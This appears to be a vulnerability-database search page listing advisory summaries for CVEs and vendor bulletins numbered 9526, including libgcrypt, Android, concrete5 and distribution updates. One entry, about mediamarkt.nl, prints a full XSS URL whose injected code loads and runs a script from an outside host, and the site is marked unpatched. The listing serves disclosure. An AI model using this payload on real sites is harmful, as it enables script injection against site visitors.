40 matches found
CGA-8PH8-2PH8-9526
Bulletin has no description...
CVE-2015-9526
creationtimestamp| type| source ---|---|--- 2024-01-17 18:42:10+00:00| seen| https://t.me/ctinow/169416...
Oracle Linux 7 : olcne (ELSA-2021-9526)
The remote Oracle Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2021-9526 advisory. - Update Kubernetes version to 1.20.11 to address CVE-2021-25741 - Update Istio to 1.9.8, 1.10.4 to address CVE-2021-32777, CVE-2021-32778,...
CVE-2020-9526
Technical details about CVE-2020-9526 are not publicly available in the provided documents. Monitor for updates from vendors and vulnerability databases.
CVE-2015-9526
The CVE refers to WordPress Easy Digital Downloads (EDD) Reviews extension. Vulnerable components are the EDD Reviews extension across multiple tracked versions (EDD 1.8.x before 1.8.7; 1.9.x before 1.9.10; 2.0.x before 2.0.5; 2.1.x before 2.1.11; 2.2.x before 2.2.9; 2.3.x before 2.3.7) due to mi...
CVE-2018-9526
In device configuration data, there is an improperly configured setting. This could lead to remote disclosure of device location. User interaction is not needed for exploitation. Product: Android. Versions: Android-9. Android ID: A-112159033...
CVE-2018-9526
CVE-2018-9526 is a Framework information-disclosure issue affecting Android 7.0–9.x (patch levels 2019-06-01/2019-06-05). The root cause is an improperly configured setting in device configuration data that could allow remote disclosure of the device location without user interaction. The Android...
Ubuntu: Security Advisory (USN-3347-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
openSUSE Security Update : libgcrypt (openSUSE-2017-743)
This update for libgcrypt fixes the following issues : - CVE-2017-9526: Store the session key in secure memory to ensure that constant time point operations are used in the MPI library. bsc1042326 - Don't require secure memory for the fips selftests, this prevents the 'Oops, secure memory pool...
SUSE SLED12 / SLES12 Security Update : libgcrypt (SUSE-SU-2017:1608-1)
This update for libgcrypt fixes the following issues : - CVE-2017-9526: Store the session key in secure memory to ensure that constant time point operations are used in the MPI library. bsc1042326 - Don't require secure memory for the fips selftests, this prevents the 'Oops, secure memory pool...
[SECURITY] [DSA 3880-1] libgcrypt20 security update
------------------------------------------------------------------------- Debian Security Advisory DSA-3880-1 [email protected] https://www.debian.org/security/ Salvatore Bonaccorso June 14, 2017 https://www.debian.org/security/faq -...
BELL-CVE-2017-9526 CVE-2017-9526 does not affect BellSoft software
Bulletin has no description...
CVE-2017-9526
CVE-2017-9526 affects Libgcrypt prior to 1.7.7, where an attacker who observes the EdDSA session key during signing can recover the long-term secret key. Version 1.7.7 changes libgcrypt/ ecc-eddsa.c to store the session key in secure memory and ensures constant-time point operations in the MPI li...
CVE-2016-9526
CVE-2016-9526 is rejected/not used per the Initial Description.
mediamarkt.nl XSS vulnerability
Vulnerable URL: http://www.mediamarkt.nl/nl/search.html?storeId=48353=-3=onlineshop=mmdede===test%27;mcs.jQuery.getScript%22//loshackers.de/a.js%22;%27a%27:%27b Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...
CVE-2014-9526
Multiple cross-site scripting XSS vulnerabilities in concrete5 5.7.2.1, 5.7.2, and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 gName parameter in singlepages/dashboard/users/groups/bulkupdate.php or 2 instanceid parameter in tools/dashboard/sitemapdragrequest.p...
CVE-2014-9526
Summary: CVE-2014-9526 affects concrete5 up to version 5.7.2.1 (and 5.7.2 and earlier) with multiple cross-site scripting (XSS) flaws. The vulnerabilities arise from insufficient sanitization of user input in two endpoints: (1) gName parameter in single_pages/dashboard/users/groups/bulkupdate.php...
Unfixed XSS vulnerability at signupsystem.com
Security researcher Hexspirit, has submitted on 21/02/2007 a cross-site-scripting XSS vulnerability affecting signupsystem.com, which at the time of submission ranked 9526 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/02/2007. It is...
